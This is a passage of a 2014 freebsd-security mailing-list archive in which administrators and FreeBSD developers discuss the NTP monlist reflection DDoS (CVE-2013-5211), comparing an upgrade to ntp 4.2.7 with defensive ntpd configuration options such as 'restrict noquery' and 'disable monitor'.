you MUST > have 4.2.7 to stop these kind of attacks. Do you have packet captures? If the configuration I have suggested didn't stop the attack, you may have a different issue than what we have found. > I think it's better to upgrade the version in base AND to write a security > advisory. I wish we could, but 4.2.7 is a moving target right now. Most Open Source projects does not provide support to their development branch or snapshots, and it would be a headache in support prospective, because once a FreeBSD release is released, we would support it for at least 12 months (some releases are supported for 24 months or even more). Cheers, -- Xin LI https://www.delphij.net/ FreeBSD - The Power to Serve! Live free or die From owner-freebsd-security@FreeBSD.ORG Tue Jan 14 08:17:55 2014 Return-Path: Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 35AD4E44; Tue, 14 Jan 2014 08:17:55 +0000 (UTC) Received: from mail-wi0-x230.google.com (mail-wi0-x230.google.com [IPv6:2a00:1450:400c:c05::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 9C1061AA0; Tue, 14 Jan 2014 08:17:54 +0000 (UTC) Received: by mail-wi0-f176.google.com with SMTP id hq4so3338189wib.3 for ; Tue, 14 Jan 2014 00:17:52 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=i2Q53ihxkVpSLk8SGFlFJQZCRER+M9UsTMaJK/gDFX0=; b=nnm7cAeJDS82nH6NHQKbhN/m7BvCrJjKMQFj4YPZjs11IOyU+bBEfb1nATL/7HALES n6dFkF5sZrkS2pvXL+UQdEqpGhcOjkPmi3y0HQKnwYMKOE947LpuRHtXcKvMwhoHaXgb 2IvhPmM5461pTWZxGLX+dP07pUXQTJdLGX0c//Psfy0NwvDJu6QjiXoYcl1jMYhGvdt6 uIzH/O2zFbNTp/3Ny8Abwc8rD1Kh5g0G/0yrR08gaItUpX6FmCJXqLzjQxV3FXisbbQI Bcxg0vF0G51wMFlDSuTPGdryzIKJrgTg1nkoZ6dXoae01RdTMSPG0TlhGBVOQNae+qwj Pmtg== MIME-Version: 1.0 X-Received: by 10.180.14.37 with SMTP id m5mr1520889wic.46.1389687471540; Tue, 14 Jan 2014 00:17:51 -0800 (PST) Received: by 10.194.81.8 with HTTP; Tue, 14 Jan 2014 00:17:51 -0800 (PST) In-Reply-To: <52D44173.1070007@delphij.net> References: <52CEAD69.6090000@grosbein.net> <81785015-5083-451C-AC0B-4333CE766618@FreeBSD.org> <52CF82C0.9040708@delphij.net> <52D44173.1070007@delphij.net> Date: Tue, 14 Jan 2014 09:17:51 +0100 Message-ID: Subject: Re: NTP security hole CVE-2013-5211? From: Cristiano Deana To: Xin LI Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: freebsd-security@freebsd.org, Palle Girgensohn X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 08:17:55 -0000 On Mon, Jan 13, 2014 at 8:41 PM, Xin Li wrote: Hi Xin, Do you have packet captures? If the configuration I have suggested > didn't stop the attack, you may have a different issue than what we have > found. > Please, take a look here https://cert.litnet.lt/en/docs/ntp-distributed-reflection-dos-attacks I tried all other mitigation, with limits and all. Only the update worked for me. No, I don0t have any packet capture, and please don't ask for it... i already DoSsed some chinese host in november with 300Mbit of udp flood... > I think it's better to upgrade the version in base AND to write a security > advisory. I wish we could, but 4.2.7 is a moving target right now. > > Most Open Source projects does not provide support to their development > branch or snapshots, and it would be a headache in support prospective, > because once a FreeBSD release is released, we would support it for at > least 12 months (some releases are supported for 24 months or even more). > I understand, thank you. In the other case we have *potentially* a new system tha can be used for DoS out of the box. Thanks, Cris -- Cris, member of G.U.F.I Italian FreeBSD User Group http://www.gufi.org/ From owner-freebsd-security@FreeBSD.ORG Tue Jan 14 12:46:57 2014 Return-Path: Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E8B9BB6C for ; Tue, 14 Jan 2014 12:46:57 +0000 (UTC) Received: from smtp.lamaiziere.net (net.lamaiziere.net [37.59.62.186]) by mx1.freebsd.org (Postfix) with ESMTP id AD0A61148 for ; Tue, 14 Jan 2014 12:46:56 +0000 (UTC) Received: from mr185083.univ-rennes1.fr (mr185083.univ-rennes1.fr [129.20.185.83]) by smtp.lamaiziere.net (Postfix) with ESMTPA id E62E72B09; Tue, 14 Jan 2014 13:41:02 +0100 (CET) Received: from mr185083 (localhost [127.0.0.1]) by mr185083.univ-rennes1.fr (Postfix) with ESMTP id 7EAD970B7; Tue, 14 Jan 2014 13:41:02 +0100 (CET) Date: Tue, 14 Jan 2014 13:41:02 +0100 From: Patrick Lamaiziere To: freebsd-security@freebsd.org Subject: Re: NTP security hole CVE-2013-5211? Message-ID: <20140114134102.2be3198b@mr185083> In-Reply-To: <52CF82C0.9040708@delphij.net> References: <52CEAD69.6090000@grosbein.net> <81785015-5083-451C-AC0B-4333CE766618@FreeBSD.org> <52CF82C0.9040708@delphij.net> X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.22; amd64-portbld-freebsd9.2) MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.4.3 (smtp.lamaiziere.net [0.0.0.0]); Tue, 14 Jan 2014 13:41:02 +0100 (CET) Cc: delphij@delphij.net X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 12:46:58 -0000 Le Thu, 09 Jan 2014 21:18:56 -0800, Xin Li a écrit : > On 1/9/14, 6:12 AM, Palle Girgensohn wrote: > > > > 9 jan 2014 kl. 15:08 skrev Eugene Grosbein : > > > >> On 09.01.2014 19:38, Palle Girgensohn wrote: > >>> They recommend at least 4.2.7. Any thoughts about this? > >> > >> Other than updating ntpd, you can filter out requests to > >> 'monlist' command with 'restrict ... noquery' option that > >> disables some queries for the internal ntpd status, including > >> 'monlist'. > >> > >> See http://support.ntp.org/bin/view/Support/AccessRestrictions > >> for details. > > > > Yes. But shouldn't there be a security advisory for FreeBSD > > specifically? > > We will have an advisory next week. If a NTP server is properly > configured, it's likely that they are not affected (the old FreeBSD > default is a little bit vague on how to properly configure the daemon, > though; the new default on -CURRENT and supported -STABLE branches > should be sufficient to provide protection). I've tried the -current ntpd.conf. Looks good here, my ntpd (used as client) is under attack since two days :( (15000 packets/s in) Ntpd does not reply anymore but it eats more cpu (~8%), for a client the best is to filter out the port udp/123. The attack is on the ntp command "MON_GETLIST". Regards, From owner-freebsd-security@FreeBSD.ORG Tue Jan 14 13:06:57 2014 Return-Path: Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 34635F2F; Tue, 14 Jan 2014 13:06:57 +0000 (UTC) Received: from smtp.des.no (smtp.des.no [194.63.250.102]) by mx1.freebsd.org (Postfix) with ESMTP id E514912C5; Tue, 14 Jan 2014 13:06:56 +0000 (UTC) Received: from nine.des.no (smtp.des.no [194.63.250.102]) by smtp-int.des.no (Postfix) with ESMTP id BAB077559; Tue, 14 Jan 2014 13:06:55 +0000 (UTC) Received: by nine.des.no (Postfix, from userid 1001) id 765BB34207; Tue, 14 Jan 2014 14:06:52 +0100 (CET) From: =?utf-8?Q?Dag-Erling_Sm=C3=B8rgrav?= To: Cristiano Deana Subject: Re: NTP security hole CVE-2013-5211? References: <52CEAD69.6090000@grosbein.net> <81785015-5083-451C-AC0B-4333CE766618@FreeBSD.org> <52CF82C0.9040708@delphij.net> Date: Tue, 14 Jan 2014 14:06:52 +0100 In-Reply-To: (Cristiano Deana's message of "Mon, 13 Jan 2014 11:08:46 +0100") Message-ID: <86d2jud85v.fsf@nine.des.no> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/24.3 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Cc: freebsd-security@freebsd.org, Palle Girgensohn , Xin LI X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 13:06:57 -0000 Cristiano Deana writes: > I tried several workaround with config and policy, and ended up you MUST > have 4.2.7 to stop these kind of attacks. Doesn't "restrict noquery" block monlist in 4.2.6? DES --=20 Dag-Erling Sm=C3=B8rgrav - des@des.no From owner-freebsd-security@FreeBSD.ORG Tue Jan 14 13:11:43 2014 Return-Path: Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 879C9106; Tue, 14 Jan 2014 13:11:43 +0000 (UTC) Received: from smtp.des.no (smtp.des.no [194.63.250.102]) by mx1.freebsd.org (Postfix) with ESMTP id 47AF71358; Tue, 14 Jan 2014 13:11:41 +0000 (UTC) Received: from nine.des.no (smtp.des.no [194.63.250.102]) by smtp-int.des.no (Postfix) with ESMTP id 331237565; Tue, 14 Jan 2014 13:11:37 +0000 (UTC) Received: by nine.des.no (Postfix, from userid 1001) id 764403420B; Tue, 14 Jan 2014 14:11:32 +0100 (CET) From: =?utf-8?Q?Dag-Erling_Sm=C3=B8rgrav?= To: Garrett Wollman Subject: Re: UNS: Re: NTP security hole CVE-2013-5211? References: <52CEAD69.6090000@grosbein.net> <21199.26019.698585.355699@hergotha.csail.mit.edu> Date: Tue, 14 Jan 2014 14:11:32 +0100 In-Reply-To: <21199.26019.698585.355699@hergotha.csail.mit.edu> (Garrett Wollman's message of "Thu, 9 Jan 2014 22:14:43 -0500") Message-ID: <868uuid7y3.fsf@nine.des.no> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/24.3 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Cc: freebsd-security@freebsd.org, Palle Girgensohn X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 13:11:43 -0000 Garrett Wollman writes: > For a "pure" client, I would suggest "restrict default ignore" ought > to be the norm. (Followed by entries to unrestrict localhost over v4 > and v6.) Pure clients shouldn't use ntpd(8). They should use sntp(8) or a lightweight NTP client like ttsntpd. DES --=20 Dag-Erling Sm=C3=B8rgrav - des@des.no From owner-freebsd-security@FreeBSD.ORG Tue Jan 14 13:54:29 2014 Return-Path: Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9E1EAED3; Tue, 14 Jan 2014 13:54:29 +0000 (UTC) Received: from mail-we0-x231.google.com (mail-we0-x231.google.com [IPv6:2a00:1450:400c:c03::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 0E2261710; Tue, 14 Jan 2014 13:54:28 +0000 (UTC) Received: by mail-we0-f177.google.com with SMTP id x55so395676wes.8 for ; Tue, 14 Jan 2014 05:54:27 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=JxDEwVOn1HgDksymeJxe+I22PRvHIbKSEfr9/mzh3Rs=; b=R/OYA4Lx0o5qLMpIA8RZt4QQKGE7jm4BF8a+i+7JzW2ZnrjxcbQD79/P6imS1112oP hxuIZFEt7KPeayUtg33vbuM1f4igSK5myY113TgFjYT/9558rNFi4Ym7g734Lmp4m/UZ eSPNyPd4EwK/7bOIR1j9u2Rzv6bRKadf5XyDUJJzbWcc6GsDNCQCdx62JV6qjXyDr+WY 6vY3Lxdfh1xdoEODR8bD3K0h4a1/keVHBJB//Aepc5i/vpeiLwlayUXuun5GxgsNg4ZX FoEawYPFQgfk5kAaujz32WLwr9n06Y3Wc8XkgBRsgdNsECHQL/Oo/gtSRYKxhN/H3SrI qFzw== MIME-Version: 1.0 X-Received: by 10.180.14.37 with SMTP id m5mr3085269wic.46.1389707667464; Tue, 14 Jan 2014 05:54:27 -0800 (PST) Received: by 10.194.81.8 with HTTP; Tue, 14 Jan 2014 05:54:27 -0800 (PST) In-Reply-To: <86d2jud85v.fsf@nine.des.no> References: <52CEAD69.6090000@grosbein.net> <81785015-5083-451C-AC0B-4333CE766618@FreeBSD.org> <52CF82C0.9040708@delphij.net> <86d2jud85v.fsf@nine.des.no> Date: Tue, 14 Jan 2014 14:54:27 +0100 Message-ID: Subject: Re: NTP security hole CVE-2013-5211? From: Cristiano Deana To: =?ISO-8859-1?Q?Dag=2DErling_Sm=F8rgrav?= Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: freebsd-security@freebsd.org, Palle Girgensohn , Xin LI X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 13:54:29 -0000 On Tue, Jan 14, 2014 at 2:06 PM, Dag-Erling Sm=F8rgrav wrote: Hi, > I tried several workaround with config and policy, and ended up you MUST > > have 4.2.7 to stop these kind of attacks. > > Doesn't "restrict noquery" block monlist in 4.2.6? I didn't try. Following this document: https://cert.litnet.lt/en/docs/ntp-distributed-reflection-dos-attacks "Currently the best available solution is to update to NTP 4.2.7p26 for which the support of 'monlist' query has been removed in favor of new safe 'mrunlist' function which uses a nonce value ensuring that received IP address match the actual requester" I upgraded directly to net/ntp-devel, skipping net/ntp. That has been published in first days of DDoS discovering, maybe now it's more clear how the vuln works. --=20 Cris, member of G.U.F.I Italian FreeBSD User Group http://www.gufi.org/ From owner-freebsd-security@FreeBSD.ORG Tue Jan 14 14:03:58 2014 Return-Path: Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A8F23396; Tue, 14 Jan 2014 14:03:58 +0000 (UTC) Received: from eg.sd.rdtc.ru (eg.sd.rdtc.ru [IPv6:2a03:3100:c:13::5]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 0B80C1865; Tue, 14 Jan 2014 14:03:57 +0000 (UTC) X-Envelope-From: eugen@grosbein.net X-Envelope-To: girgen@FreeBSD.org Received: from eg.sd.rdtc.ru (eugen@localhost [127.0.0.1]) by eg.sd.rdtc.ru (8.14.7/8.14.7) with ESMTP id s0EE3Wbq050744; Tue, 14 Jan 2014 21:03:32 +0700 (NOVT) (envelope-from eugen@grosbein.net) Message-ID: <52D543B4.8090700@grosbein.net> Date: Tue, 14 Jan 2014 21:03:32 +0700 From: Eugene Grosbein User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:17.0) Gecko/20130415 Thunderbird/17.0.5 MIME-Version: 1.0 To: =?UTF-8?B?RGFnLUVybGluZyBTbcO4cmdyYXY=?= Subject: Re: UNS: Re: NTP security hole CVE-2013-5211? References: <52CEAD69.6090000@grosbein.net> <21199.26019.698585.355699@hergotha.csail.mit.edu> <868uuid7y3.fsf@nine.des.no> In-Reply-To: <868uuid7y3.fsf@nine.des.no> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Spam-Status: No, score=-0.3 required=5.0 tests=ALL_TRUSTED,BAYES_00, LOCAL_FROM autolearn=no version=3.3.2 X-Spam-Report: * -1.0 ALL_TRUSTED Passed through trusted hosts only via SMTP * -1.9 BAYES_00 BODY: Bayes spam probability is 0 to 1% * [score: 0.0000] * 2.6 LOCAL_FROM From my domains X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on eg.sd.rdtc.ru Cc: freebsd-security@freebsd.org, Palle Girgensohn , Garrett Wollman X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 14:03:58 -0000 On 14.01.2014 20:11, Dag-Erling Smørgrav wrote: > Garrett Wollman writes: >> For a "pure" client, I would suggest "restrict default ignore" ought >> to be the norm. (Followed by entries to unrestrict localhost over v4 >> and v6.) > > Pure clients shouldn't use ntpd(8). They should use sntp(8) or a > lightweight NTP client like ttsntpd. $ man sntp No manual entry for sntp $ whereis sntp sntp: /usr/sbin/sntp That's first time I see a reference to sntp(8) for FreeBSD while using it since 2.2.5-RELEASE. Is it documented somewhere? Eugene Grosbein From owner-freebsd-security@FreeBSD.ORG Tue Jan 14 14:06:04 2014 Return-Path: Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CB1227DB; Tue, 14 Jan 2014 14:06:04 +0000 (UTC) Received: from emailsecure.uni-linz.ac.at (emailsecure.uni-linz.ac.at [140.78.3.66]) by mx1.freebsd.org (Postfix) with ESMTP id 8A39F18AB; Tue, 14 Jan 2014 14:06:04 +0000 (UTC) Received: from dyn-ant77.edvz.uni-linz.ac.at (dyn-ant77.edvz.uni-linz.ac.at [140.78.6.77]) by emailsecure.uni-linz.ac.at (Postfix) with ESMTPSA id 832175C033; Tue, 14 Jan 2014 15:00:27 +0100 (CET) Content-Type: text/plain; charset=iso-8859-1 Mime-Version: 1.0 (Mac OS X Mail 6.6 \(1510\)) Subject: Re: NTP security hole CVE-2013-5211? From: Ferdinand Goldmann In-Reply-To: <86d2jud85v.fsf@nine.des.no> Date: Tue, 14 Jan 2014 15:00:27 +0100 Content-Transfer-Encoding: quoted-printable Message-Id: <97DABA91-0F6E-4109-992D-A3ADFE799018@jku.at> References: <52CEAD69.6090000@grosbein.net> <81785015-5083-451C-AC0B-4333CE766618@FreeBSD.org> <52CF82C0.9040708@delphij.net> <86d2jud85v.fsf@nine.des.no> To: =?iso-8859-1?Q?Dag-Erling_Sm=F8rgrav?= X-Mailer: Apple Mail (2.1510) Cc: freebsd-security@freebsd.org, Xin LI , Palle Girgensohn X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 14:06:04 -0000 On 14.01.2014, at 14:06, Dag-Erling Sm=F8rgrav wrote: > Cristiano Deana writes: >> I tried several workaround with config and policy, and ended up you = MUST >> have 4.2.7 to stop these kind of attacks. >=20 > Doesn't "restrict noquery" block monlist in 4.2.6? I think it should be possible to block it using: disable monitor=20 seems to work for me. Best Regards, Ferdinand Goldmann --=20 >> Ferdinand Goldmann >> Johannes Kepler University Linz - Information Management >> Mail: Ferdinand.Goldmann@jku.at Phone: 00437024683925 Fax: = 00437024689397 >> A lack of planning on your part doesn't constitute an emergency on my = part. From owner-freebsd-security@FreeBSD.ORG Tue Jan 14 14:24:09 2014 Return-Path: Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7698117C; Tue, 14 Jan 2014 14:24:09 +0000 (UTC) Received: from smtp.des.no (smtp.des.no [194.63.250.102]) by mx1.freebsd.org (Postfix) with ESMTP id 36A961A23; Tue, 14 Jan 2014 14:24:08 +0000 (UTC) Received: from nine.des.no (smtp.des.no [194.63.250.102]) by smtp-int.des.no (Postfix) with ESMTP id 5C9D1765A; Tue, 14 Jan 2014 14:24:08 +0000 (UTC) Received: by nine.des.no (Postfix, from userid 1001) id 26E7234235; Tue, 14 Jan 2014 15:24:05 +0100 (CET) From: =?utf-8?Q?Dag-Erling_Sm=C3=B8rgrav?= To: Eugene Grosbein Subject: Re: UNS: Re: NTP security hole CVE-2013-5211? References: <52CEAD69.6090000@grosbein.net> <21199.26019.698585.355699@hergotha.csail.mit.edu> <868uuid7y3.fsf@nine.des.no> <52D543B4.8090700@grosbein.net> Date: Tue, 14 Jan 2014 15:24:05 +0100 In-Reply-To: <52D543B4.8090700@grosbein.net> (Eugene Grosbein's message of "Tue, 14 Jan 2014 21:03:32 +0700") Message-ID: <86ha96bq0q.fsf@nine.des.no> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/24.3 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Cc: freebsd-security@freebsd.org, Palle Girgensohn , Garrett Wollman X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 14:24:09 -0000 Eugene Grosbein writes: > That's first time I see a reference to sntp(8) for FreeBSD [...] Is > it documented somewhere? It's part of ISC NTP and is included in FreeBSD 10 as well as in the net/ntp{,-devel,-rc} ports. DES --=20 Dag-Erling Sm=C3=B8rgrav - des@des.no From owner-freebsd-security@FreeBSD.ORG Tue Jan 14 14:32:10 2014 Return-Path: Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CE6F4505; Tue, 14 Jan 2014 14:32:10 +0000 (UTC) Received: from smtp.des.no (smtp.des.no [194.63.250.102]) by mx1.freebsd.org (Postfix) with ESMTP id 8AD8B1ACD; Tue, 14 Jan 2014 14:32:10 +0000 (UTC) Received: from nine.des.no (smtp.des.no [194.63.250.102]) by smtp-int.des.no (Postfix) with ESMTP id CDEF67675; Tue, 14 Jan 2014 14:32:08 +0000 (UTC) Received: by nine.des.no (Postfix, from userid 1001) id 65D4B3423D; Tue, 14 Jan 2014 15:32:05 +0100 (CET) From: =?utf-8?Q?Dag-Erling_Sm=C3=B8rgrav?= To: Ferdinand Goldmann Subject: Re: NTP security hole CVE-2013-5211? References: <52CEAD69.6090000@grosbein.net> <81785015-5083-451C-AC0B-4333CE766618@FreeBSD.org> <52CF82C0.9040708@delphij.net> <86d2jud85v.fsf@nine.des.no> <97DABA91-0F6E-4109-992D-A3ADFE799018@jku.at> Date: Tue, 14 Jan 2014 15:32:05 +0100 In-Reply-To: <97DABA91-0F6E-4109-992D-A3ADFE799018@jku.at> (Ferdinand Goldmann's message of "Tue, 14 Jan 2014 15:00:27 +0100") Message-ID: <868uuibpne.fsf@nine.des.no> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/24.3 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Cc: freebsd-security@freebsd.org, Xin LI , Palle Girgensohn X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 14:32:10 -0000 Ferdinand Goldmann writes: > Dag-Erling Sm=C3=B8rgrav writes: > > Doesn't "restrict noquery" block monlist in 4.2.6? > I think it should be possible to block it using: > > disable monitor > > seems to work for me. That disables monlist across the board, whereas the restrict mechanism allows you to disable it selectively: restrict default nomodify nopeer noquery notrap restrict localhost not quite as fine-grained, though, since "disable monitor" only disables monlist while "restrict noquery" blocks all ntpq / ntpdc queries. Of course, the default behavior for a sensible NTP implementation should be to ignore everything except time queries. DES --=20 Dag-Erling Sm=C3=B8rgrav - des@des.no From owner-freebsd-security@FreeBSD.ORG Tue Jan 14 14:43:28 2014 Return-Path: Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 40E81865 for ; Tue, 14 Jan 2014 14:43:28 +0000 (UTC) Received: from keltia.net (cl-90.mrs-01.fr.sixxs.net [IPv6:2a01:240:fe00:59::2]) (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id F29A31CAC for ; Tue, 14 Jan 2014 14:43:27 +0000 (UTC) Received: from roberto02-aw.eurocontrol.fr (aran.keltia.net [88.191.250.24]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) (Authenticated sender: roberto) by keltia.net (Postfix) with ESMTPSA id 6146552B1; Tue, 14 Jan 2014 15:43:24 +0100 (CET) Date: Tue, 14 Jan 2014 15:43:14 +0100 From: Ollivier Robert To: freebsd-security@freebsd.org, Xin LI Subject: Re: NTP security hole CVE-2013-5211? Message-ID: <20140114144314.GB13757@roberto02-aw.eurocontrol.fr> References: <52CEAD69.6090000@grosbein.net> <81785015-5083-451C-AC0B-4333CE766618@FreeBSD.org> <52CF82C0.9040708@delphij.net> <52D44173.1070007@delphij.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: X-Operating-System: MacOS X / Macbook Pro - FreeBSD 7.2 / Dell D820 SMP User-Agent: Mutt/1.5.21 (2010-09-15) X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 14:43:28 -0000 According to Cristiano Deana on Tue, Jan 14, 2014 at 09:17:51AM +0100: > > I think it's better to upgrade the version in base AND to write a security > > advisory. > > I wish we could, but 4.2.7 is a moving target right now. I think I will stop trying to upgrade to 4.2.6p5 (the one I imported a few weeks ago) and have a look at 4.2.7. -- Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- roberto@keltia.net In memoriam to Ondine, our 2nd child: http://ondine.keltia.net/ From owner-freebsd-security@FreeBSD.ORG Tue Jan 14 15:40:22 2014 Return-Path: Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8C6135C1; Tue, 14 Jan 2014 15:40:22 +0000 (UTC) Received: from wonkity.com (wonkity.com [67.158.26.137]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 3DC3C11F7; Tue, 14 Jan 2014 15:40:21 +0000 (UTC) Received: from wonkity.com (localhost [127.0.0.1]) by wonkity.com (8.14.7/8.14.7) with ESMTP id s0EFe5KP097559; Tue, 14 Jan 2014 08:40:05 -0700 (MST) (envelope-from wblock@wonkity.com) Received: from localhost (wblock@localhost) by wonkity.com (8.14.7/8.14.7/Submit) with ESMTP id s0EFe1rJ097556; Tue, 14 Jan 2014 08:40:04 -0700 (MST) (envelope-from wblock@wonkity.com) Date: Tue, 14 Jan 2014 08:40:01 -0700 (MST) From: Warren Block To: Eugene Grosbein Subject: Re: UNS: Re: NTP security hole CVE-2013-5211? In-Reply-To: <52D543B4.8090700@grosbein.net> Message-ID: References: <52CEAD69.6090000@grosbein.net> <21199.26019.698585.355699@hergotha.csail.mit.edu> <868uuid7y3.fsf@nine.des.no> <52D543B4.8090700@grosbein.net> User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (wonkity.com [127.0.0.1]); Tue, 14 Jan 2014 08:40:05 -0700 (MST) Content-Type: TEXT/PLAIN; charset=utf-8; format=flowed Content-Transfer-Encoding: 8BIT X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: =?ISO-8859-15?Q?Dag-Erling_Sm=F8rgrav?= , Palle Girgensohn , Garrett Wollman , freebsd-security@freebsd.org X-BeenThere: freebsd-security@freebsd.org 